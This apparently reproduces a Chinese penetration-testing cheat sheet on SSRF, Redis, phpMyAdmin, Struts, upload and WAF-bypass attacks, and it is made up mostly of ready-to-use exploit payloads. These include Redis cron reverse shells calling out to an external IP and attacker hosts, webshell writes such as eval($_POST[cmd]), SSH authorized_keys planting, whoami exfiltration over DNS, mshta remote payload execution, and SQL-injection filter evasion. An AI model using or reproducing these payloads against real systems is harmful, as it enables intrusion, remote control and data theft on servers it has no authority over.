复制代码


编辑
编辑

302反弹shell
  1. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=flushall
  2. 302.php
  3. <?php
  4. $ip = $_GET['ip'];
  5. $port = $_GET['port'];
  6. $scheme = $_GET['s'];
  7. $data = $_GET['data'];
  8. header("Location: $scheme://$ip:$port/$data");
  9. ?>
  10. ?url=http://xxxx/reverse.php?s=dict&ip=10.20.*.*&port=6379&bhost=*.*.*.*&bport=1234
  11. reverse.php
  12. <?php
  13. $ip = $_GET['ip'];
  14. $port = $_GET['port'];
  15. $bhost = $_GET['bhost'];
  16. $bport = $_GET['bport'];
  17. $scheme = $_GET['s'];
  18. header("Location: $scheme://$ip:$port/set:0:"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a"");
  19. ?>
  20. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dir:/var/spool/cron/
  21. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=config:set:dbfilename:root
  22. ?url=http://xxxx/302.php?s=dict&ip=10.20.*.*&port=6379&data=save
  23. 可设置burp–>intruder指定变量跑。
复制代码

Mysql
  1. https://github.com/FoolMitAh/mysql_gopher_attack
  2. https://fireshellsecurity.team/isitdtu-friss/
复制代码

Weblogic SSRF+Redis
  1. 探测
  2. /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
  3. Redis反弹
  4. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
  5. config set dir /etc/
  6. config set dbfilename crontab
  7. save
  8. /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.0.110:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  9. SSRF+内网Struct2
  10. http://www.xx.com/ssrf.php?url=http://10.1.1.1/action?action?redirect:http://attackerip/
复制代码

Ueditor SSRF
  1. /editor/ueditor/php/controller.php?action=catchimage&source[]=http://my.ip/?aaa=1%26logo.webp
复制代码

Discuz
  1. /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/imgp/]&formhash=xxoo
复制代码

探测存活主机
  1. 直接访问
  2. http://www.xx.com/ssrf.php?url=http://192.168.0.1
复制代码
  1. 伪造POST请求
  2. >curl -v 'http://www.xx.com/ssrf.php?url=gopher://192.168.0.10:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd=bbbbb'
复制代码

绕过方法
  1. 本地绕过
  2. http://127.0.0.1=http://localhost
  3. [::]绕过
  4. http://[::]:80=http://127.0.0.1
  5. @绕过
  6. http://www.xx.com/1.php?url=http://www.xx.com@127.0.0.1:8080
  7. 利用短网址
  8. http://tool.chinaz.com/tools/dwz.aspx
  9. http://dwz.cn/
  10. DNS解析
  11. http://www.qq.com.127.0.0.1.xip.io,可解析为127.0.0.1
  12. 自己域名设置A记录,指向127.0.0.1
  13. 进制转换
  14. 127.0.0.1
  15. 八进制:0177.0.0.1
  16. 十六进制:0x7f.0.0.1
  17. 十进制:2130706433
  18. http://www.bejson.com/convert/ip2int/
  19. 句号
  20. 127。0。0。1
  21. 302脚本
  22. <?php
  23. $ip = $_GET['ip'];
  24. $port = $_GET['port'];
  25. $scheme = $_GET['s'];
  26. $data = $_GET['data'];
  27. header("Location: $scheme://$ip:$port/$data");
  28. ?>
  29. 攻击方ip监听8080
  30. dict协议
  31. dict://www.attack.com:8080/hello:dict等于
  32. ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
  33. Gopher协议
  34. gopher:// www.attack.com:8080/gopher
  35. ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
  36. File协议
  37. 攻击机新建file.php
  38. <?php
  39. header("Location: file:///etc/passwd");
  40. ?>
  41. ssrf.php?url=http://attack.com/file.php
复制代码

gopher协议的脚本转换
  1. 抓取本地测试的正常请求
  2. >socat -v tcp-listen:4444,fork tcp-connect:目标IP:637
复制代码
​编辑​
  1. 将捕获日志保存txt
  2. 使用脚本转换为支持gopher协议的字符串
  3. 转换规则
  4. 如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
  5. 如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
  6. 将\r字符串替换成%0d%0a
  7. 空白行替换为%0a
复制代码
​编辑​
  1. 本地可执行
复制代码
  1. 远程执行需对空格进行编码后再url编码一次
  2. *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
复制代码


编辑
编辑
编辑



协议
  1. Curl版本需低于7.15.1
  2. file:可回显时,使用file读取任意文件
  3. dict:查看端口,操作内网服务
  4. gopher:可发出get/post请求
  5. 使用gopher协议时,要进行两次url编码
  6. http/https:探测存活主机
复制代码

dict协议写shell
  1. ?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
  2. ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
  3. ?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
  4. ?url=dict://127.0.0.1:6379/save
  5. Unicode编码
  6. ?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
复制代码

slaveof复制shell到目标
  1. From:http://r3start.net/index.php/2020/05/09/683
  2. 你的redis设置一个shell的键
  3. Yourredis>FLUSHALL
  4. Yourredis>set shell "<?php phpinfo();?>"
  5. ?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
  6. ?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
  7. ?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
  8. ?url=dict://127.0.0.1:6379/save
  9. ?url=dict://127.0.0.1:6379/slaveof:no:one
复制代码

slaveof反弹shell
  1. ?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
  2. ?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
  3. ?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
  4. ?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
  5. ?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
  6. ?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
  7. ?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
复制代码

命令执行
  1. >curl http://0ox095.ceye.io/`whoami`
  2. >ping `whoami`.b182oj.ceye.io
  3. >ping %CD%.lfofz7.dnslog.cn
  4. &
  5. cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
复制代码

XXE
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE root [
  3. <!ENTITY % remote SYSTEM "http://b182oj.ceye.io/xxe_test">
  4. %remote;]>
  5. <root/>
复制代码

Struts
  1. xx.action?redirect:http://b182oj.ceye.io/%25{3*4}
  2. xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
复制代码

weblogic
  1. /uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
复制代码

Resin
  1. xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
复制代码

Discuz
  1. /forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/imgp/]&formhash=xxoo
复制代码

PHPMyadminLOG
  1. show variables like '%general%';  #查看配置
  2. set global general_log = on;  #开启general log模式
  3. set global general_log_file = '/var/www/html/1.php';
  4. select '<?php eval($_POST[cmd]);?>'
复制代码

慢查询
  1. show variables like '%slow%';
  2. set GLOBAL slow_query_log_file='C:/WWW/slow.php';
  3. set GLOBAL slow_query_log=on;
  4. set GLOBAL log_queries_not_using_indexes=on;
  5. select '<?php phpinfo();?>' from mysql.db where sleep(10);
复制代码

任意文件读取
  1. phpMyAdmin 2.x
  2. POST /scripts/setup.php HTTP/1.1
  3. Host: ip:8080
  4. Accept-Encoding: gzip, deflate
  5. Accept: */*
  6. Accept-Language: en
  7. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  8. Connection: close
  9. Content-Type: application/x-www-form-urlencoded
  10. Content-Length: 80

  11. action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
复制代码

LFI
  1. phpMyAdmin 4.0.1--4.2.12,PHP < 5.3.4
  2. /gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
  3. phpMyAdmin 4.8.0和4.8.1 后台权限
  4. >select '<?php phpinfo();exit;?>'
  5. /index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_***
复制代码

RCE
  1. PhpMyAdmin 4.0.x-4.6.2,PHP 4.3.0-5.4.6后台权限
  2. >cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
  3. phpMyAdmin 4.8.0~4.8.3
  4. CREATE DATABASE foo;
  5. CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );
  6. INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
  7. 访问http://10.1.1.10/chk_rel.php?fixall_pmadb=1&db=foo
  8. INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
  9. 'plop', 'plop', 'plop','../../../../../../../../tmp/sess_***','plop';
  10. 访问
  11. /tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
复制代码

PHP-FPM RCE
  1. >git clone https://github.com/neex/phuip-fpizdam.git
  2. >cd phuip-fpizdam
  3. >go get -v && go build
  4. >go run . http://127.0.0.1/index.php
  5. http://127.0.0.1/index.php?a=id
  6. 多执行几次
复制代码

phpstudy后门
  1. php:5.2.17   5.4.45

  2. GET / HTTP/1.1
  3. Host: 127.0.0.1
  4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
  5. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  6. Accept-Encoding:gzip,deflate
  7. Accept-Charset:c3lzdGVtKCJuZXQgdXNlciIpOw==
  8. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  9. Connection: close
  10. Upgrade-Insecure-Requests: 1
  11. Cache-Control: max-age=0
  12. Content-Length: 2
复制代码

IIS写权限
  1. 桂林老兵的IIS写权限利用工具
复制代码

cmdhijack
  1. From: https://hackingiscool.pl/
  2. poc完整的命令行
  3. cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/calc.exe"
  4. 可能产生的影响
  5. 包括拒绝服务,信息泄露,任意代码执行(取决于目标应用程序和系统)。
  6. 以web应用为例
复制代码
  1. 由于使用了escapeshellcmd(),不易受命令注入的影响,使用本方法
  2. 一个poc
复制代码
​编辑​
  1. 不限于任何位置,文件
复制代码
​编辑​
  1. 再扩展一下
  2. 如,powershell带-enc执行,或mshta等方法,可参考
  3. https://lolbas-project.github.io/,但是依照windows的特性,在无法将完整字符串解析为有效路径的情况下,会拆分空格后面的内容,这里可以使用&符号
  4. 如:
  5. >cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&powershell -enc xxxx"
  6. >cmd.exe /c "cmd /c /../../../../../../../../../../windows/system32/calc&mshta http://192.168.0.105:8080/xsuUEWJ.hta"
复制代码

Fuzz/扫描web
  1. >dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100
  2. >nikto -C all -h http://192.168.0.107 nikto扫描web服务
  3. ?wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码
  4. ?wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件
  5. ?perl joomscan.pl --url 192.168.0.107
复制代码

WFuzz
  1. 爆破文件和文件夹
  2. >wfuzz -w wordlist URL/FUZZ.php
  3. >wfuzz -w wordlist URL/FUZZ
  4. 枚举数字参数
  5. >wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
  6. POST账号密码爆破FUZnZ
  7. >wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
  8. 随机HTTP头
  9. >wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
  10. 使用代理fuzz
  11. >wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
  12. 基础认证爆破
  13. >wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
  14. 【结果过滤】--hc或--ss不显示符合条件的结果。
  15. 【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
复制代码

Cewl
  1. 爬行网站存为字典
  2. >cewl http://www.qq.com/ -w dict.txt
  3. 指定字典长度
  4. >cewl http://www.qq.com/ -m 1 -w dict.txt
  5. 网站提取Email
  6. >cewl http://www.qq.com/ -n –e
复制代码

Dirsearch
  1. >python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1
复制代码

Bypass WAFSQL注入分块传输
  1. https://github.com/c0ny1/chunked-coding-converter
复制代码

  1. 跑注入点被拦截
复制代码
  1. 使用分块传输,右键选择
复制代码
​编辑​
  1. 使用SQLMAP跑注入
复制代码
​编辑​
  1. >python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs
复制代码

自动提供可用的tamper
  1. https://github.com/m4ll0k/Atlas
  2. GET类型的注入
  3. python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
  4. POST类型的注入
  5. python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
  6. 请求头注入
  7. python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
  8. 组合tamper
  9. python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
  10. 列出tamper
  11. python atlas.py -g
  12. 例子
  13. 注入
  14. python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3
复制代码
​编辑​
  1. 可以看到被拦截了
  2. 查找能绕过的tamper
  3. python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v
复制代码
  1. 根据返回码200得到一个可绕过waf的tamper
  2. versionedkeywords这个tamper
  3. 继续注入
  4. python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
  5. 根据状态码来判断有时会有点鸡肋,但是也能用用,随机发挥吧。
复制代码

垃圾数据
  1. #coding=utf-8
  2. import random,string
  3. from urllib import parse
  4. # code by yzddMr6
  5. varname_min = 5
  6. varname_max = 15
  7. data_min = 20
  8. data_max = 25
  9. num_min = 50
  10. num_max = 100
  11. def randstr(length):
  12.     str_list = [random.choice(string.ascii_letters) for i in range(length)]
  13.     random_str = ''.join(str_list)
  14.     return random_str
  15. def main():
  16.     data={}
  17.     for i in range(num_min,num_max):
  18.         data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
  19.     print('&'+parse.urlencode(data)+'&')
  20. main()
  21. 放到要注入的字段前后
复制代码

上传bypass
  1. 图片文件头
  2. PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A
  3. GIF 为 47 49 46 38 37 61
  4. JPG 为 FF D8 FF E0
  5. 添加图片头或合并图片包含
  6. 后缀大小写
  7. 文件名前缀加[0x09]
  8. 上传.htaccess
  9. SetHandler application/x-httpd-php
  10. 二次渲染
  11. GIF
  12. 找好一个大一点的GIF,尾部使用c32插入shell,上传,下载回来,使用burp的comparer功能找出整个文件没有被渲染的位置,插入shell再上传
  13. JPG
  14. 使用脚本直接生成
  15. https://github.com/BlackFan/jpg_payload
  16. PNG
  17. 使用脚本直接生成
  18. 先取消php.ini注释;extension=php_gd2.dll
  19. <?php
  20. $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
  21.        0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
  22.        0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
  23.        0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
  24.        0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
  25.        0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
  26.        0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
  27.        0x66, 0x44, 0x50, 0x33);
  28. $img = imagecreatetruecolor(32, 32);
  29. for ($y = 0; $y < sizeof($p); $y += 3) {
  30.     $r = $p[$y];
  31.     $g = $p[$y+1];
  32.     $b = $p[$y+2];
  33.     $color = imagecolorallocate($img, $r, $g, $b);
  34.     imagesetpixel($img, round($y / 3), 0, $color);
  35. }
  36. imagepng($img,'./1.webp');
  37. ?>
  38. 上传php3,php4,phtml等
  39. 文件名后加::$DATA
  40. ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA"
  41. ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"
  42. asp . (空格+.)
  43. php. .(点+空格+点)
  44. 双写phphpp
  45. 00截断
  46. Get参数00截断直接添加%00
  47. POST参数00截断修改hex为00
  48. 修改一些固定的参数
  49. 文件名去掉双引号
  50. 加一个filename1的参数
  51. form变量改成f+orm
  52. 去掉form-data
  53. 在Content-Disposition或form-data;后添加多个空格
  54. 引号回车
  55. ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
  56. "
  57. Content-Type和ConTent-Disposition调换位置
  58. 文件名前缀加空格
  59. filename=    "1.asp"
  60. name前加空格
  61. Content-Disposition: form-data;      name="uploaded"; filename="1.asp"
  62. form-data的前后加上+
  63. Content-Disposition: +form-data; name="filepath"; filename="1.asp"
  64. * ASP+IIS
  65. s%elect>select
  66. s%u0065lect>select  
  67. s%u00f0lect>select
  68. s%u0045lect = s%u0065lect = %u00f0lect
  69. u -->%u0055 --> %u0075
  70. n -->%u004e --> %u006e
  71. i -->%u0049 --> %u0069
  72. o -->%u004f --> %u006f -->%u00ba
  73. s -->%u0053 --> %u0073
  74. l -->%u004c --> %u006c
  75. e -->%u0045 --> %u0065-->%u00f0
  76. c -->%u0043 --> %u0063
  77. t -->%u0054 -->%u0074 -->%u00de -->%u00fe
  78. f -->%u0046 -->%u0066
  79. r -->%u0052 -->%u0072
  80. m -->%u004d -->%u006d
  81. Asp+iis&aspx+iis
  82. s%u006c%u0006ect>select
  83. * apache
  84. TEST /sql.php?id=1 HTTP/1.1
  85. * 大小写/关键字
  86. UniOn SeLECT
  87. Mid()substring()  substr()
  88. Hex()ascii()
  89. sleep() =benchmark()
  90. concat_ws()=group_concat()
  91. 双重url编码
  92. 变换请求方式
  93. HPP参数污染
  94. id=1&id=2&id=3
  95. 得到的结果:Asp.net + iis:id=1,2,3
  96. Asp+iis:id=1,2,3
  97. Php+apache:id=3
  98. MSSQL:
  99. GET+POST:
  100. GET:http://192.168.125.140/test/sql.aspx?id=1 union/*
  101. post:  id=2*/select null,null,null
  102. 无逗号形式:
  103. ?id=1 union select 1&id=2&id=3&id=4 from admin--()  
  104. 利用逗号:
  105. ?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
  106. 无效参数形式:
  107. ?a=/*&sql=xxx&b=*/  a,b为无效参数
  108. 溢出形式:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata
  109. MYSQL:
  110. ?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin
复制代码

数据库Access
  1. 空格符
  2. %09、%0a、%0c、%0d、%16
复制代码

Mysql
  1. 注释符
  2. #、/*...*/、--[空格] ...
  3. 空格符
  4. [0x09,0x0a-0x0d,0x20,0xa0]
  5. 特殊符号
  6. %a 换行符,可结合注释符使用%23%0a,%2d%2d%0a。
  7. %21  !叹号
  8. %2b  +  加号
  9. %2d  -  减号
  10. %40  @  符号
  11. %7e   ~  波浪号
  12. Id=1 union select(1),user()
  13. Id=1 union /!12345select/1,user()
  14. Id=1 union select@1,user()
  15. Id=1 union select {x 1},user()
  16. Id=1 union select"1",user()
  17. Id=1 union select\N,user()
  18. Id=1 union select 1,user()`
  19. Id=1 union select 1,user()""
  20. Id=1 union select 1,user()A
  21. Id=1 union select 1,user()`b
  22. Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
  23. Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
  24. Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
  25. 浮点数
  26. Id= 1.0union select 1,user()
  27. Id= 1.union select 1,user()
  28. Id= 1E0union select 1,user()
  29. Id=\Nunion select 1,user()
  30. Id=1 unionselect user(),2.0from admin
  31. Id=1 union select user(),8e0from admin
  32. Id=1 union select user(),\Nfrom admin
  33. 内联注释
  34. /*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
  35. mysql黑魔法
  36. select{x username}from {x11 test.admin};
  37. 函数
  38. 截取
  39. Mid(version(),1,1)
  40. Substr(version(),1,1)
  41. Substring(version(),1,1)
  42. Lpad(version(),1,1)
  43. Rpad(version(),1,1)
  44. Left(version(),1)
  45. reverse(right(reverse(version()),1))
  46. 连接
  47. concat(version(),'|',user());
  48. concat_ws('|',1,2,3)
  49. 字符转换
  50. Ascii() Char() Hex() Unhex()
  51. 过滤逗号
  52. 127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)#
  53. 相当于 union select 1,2,3,4,5
  54. union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
  55. limit 1 offset 0相当于limit 1,0
  56. mid(version() from 1 for 1)相当于Mid(version(),1,1)
  57. <>被过滤
  58. id=1 and ascii(substr(database(),0,1))>64
  59. 比较符
  60. greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
  61. id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  62. 函数构造
  63. sleep(5)/benchmark(10000000,SHA1(1))
  64. id=1 xor sleep%23%0a(5)
  65. id=1 xor sleep%2d%2d%0a(5)
  66. id=1 xor sleep([%20]5)
  67. id=1 xor benchmark%0a(10000000,SHA1(1))
  68. id=1 xor sleep[空白字符](5)
  69. select{x[可填充字符]1}
复制代码

MSSQL
  1. 注释符
  2. /*、--、;00%、/**/
  3. 空格符
  4. [0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
  5. 特殊符号
  6. %3a 冒号
  7. id=1 union:select 1,2 from:admin
  8. id=1 union select+1,'2',db_name() from admin
  9. id=1 union select-1,'2',db_name() from admin
  10. id=1 union select.1,'2',db_name() from admin
  11. id=1 union select:1,'2',db_name() from admin
  12. id=1 union select~1,'2',db_name() from admin
  13. id=1%20union%20select%201,'2',db_name()%80from%20admin
  14. id=1 union select 1,'2',db_name+() from admin
  15. 函数变形: db_name[空白字符]()
  16. 浮点数
  17. id=1.1union select 1,'2',db_name()
  18. id=1e0union select 1,'2',db_name()
  19. 运算符
  20. id=1-1union select '1',system_user,3 from admin
  21. id=1e-union select '1',system_user,3 from admin
  22. 字符串截取函数
  23. Substring(@@version,1,1)
  24. Left(@@version,1)
  25. Right(@@version,1)
  26. charindex('test',db_name())
  27. 字符串转换函数
  28. Ascii('a')=char(97) 括号之间可添加空格
复制代码

WAF
  1. 同时提交GET和POST
  2. 访问HTTP绕过对HTTPS的防护
  3. %00截断
  4. 参数填充垃圾数据,缓冲区溢出
  5. X-FORWARDED-FOR伪造绕过
  6. 静态文件/sql.php/1.js?id=1绕过
  7. 白名单绕过,URL只要存在某字符就不会拦截
  8. /sql.php/admin.php?id=1
  9. /sql.php?a=/manage/&b=../etc/passwd
  10. /../../../manage/../sql.asp?id=2
  11. 伪造User-agent绕过,可改为爬虫agent
复制代码

未授权访问Redis未授权访问测试
  1. >redis-cli -h 127.0.0.1 flunshall
  2. 192.168.0.110:6379>ping
  3. PONG 存在未授权访问
复制代码

JS打内网
  1. var cmd = new XMLHttpRequest();      
  2. cmd.open("POST", "http://127.0.0.1:6379");      
  3. cmd.send('flushall\r\n');            
  4. var cmd =new XMLHttpRequest();      
  5. cmd.open("POST", "http://127.0.0.1:6379");      
  6. cmd.send('eval \'' + 'redis.call("set","1","\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call("config", "set", "dir","/var/spool/cron/"); redis.call("config","set", "dbfilename", "root");' + '\' 0' +"\r\n");      
  7. var cmd =new XMLHttpRequest();      
  8. cmd.open("POST", "http://127.0.0.1:6379");      
  9. cmd.send('save\r\n');
复制代码

反弹shell
  1. 保存为sh
  2. echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
  3. echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
  4. redis-cli -h $1 -p $2 config set dir /var/spool/cron/
  5. redis-cli -h $1 -p $2 config set dbfilename root
  6. redis-cli -h $1 -p $2 save
  7. redis-cli -h $1 -p $2 quit
  8. 执行
  9. >bash 1.sh 192.168.0.120 6379
复制代码


编辑
编辑


写shell
  1. 6379> config set dir /var/www/html/
  2. 6379> config set dbfilename shell.php
  3. 6379> set x "<?php phpinfo();?>"
  4. 6379> save
复制代码

SSH
  1. ssh-keygen
  2. 本地生成一对密钥
  3. https://github.com/JoyChou93/hackredis
  4. >ssh-keygen -t rsa -C "xx@xx.com"
  5. >(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
  6. >redis-cli -h 127.0.0.1 flunshall
  7. >cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
  8. >redis-cli -h 127.0.0.1
  9. 6379> config set dir /root/.ssh/
  10. 6379> config set dbfilename "authorized_keys"
  11. 6379> save
  12. 本地登录
  13. #ssh -i id_rsa root@11.11.11.11
复制代码

redis-rogue-getshell
  1. https://github.com/vulhub/redis-rogue-getshell
  2. 需要python3.0以上
  3. 编译
  4. >cd RedisModulesSDK/
  5. >make
  6. 会在此目录下生成exp.so
  7. 执行命令
  8. >python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"
复制代码
​编辑​
redis-rogue-server
  1. https://github.com/n0b0dyCN/redis-rogue-server
  2. 需要python3.6以上
  3. 编译
  4. >cd RedisModulesSDK/exp
  5. >make
  6. 执行
  7. >./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108
复制代码
​编辑​
​编辑​
  1. 也可以反向shell
复制代码


编辑

编辑

redis在windows下的利用
  1. Web目录写入木马
  2. 启动项
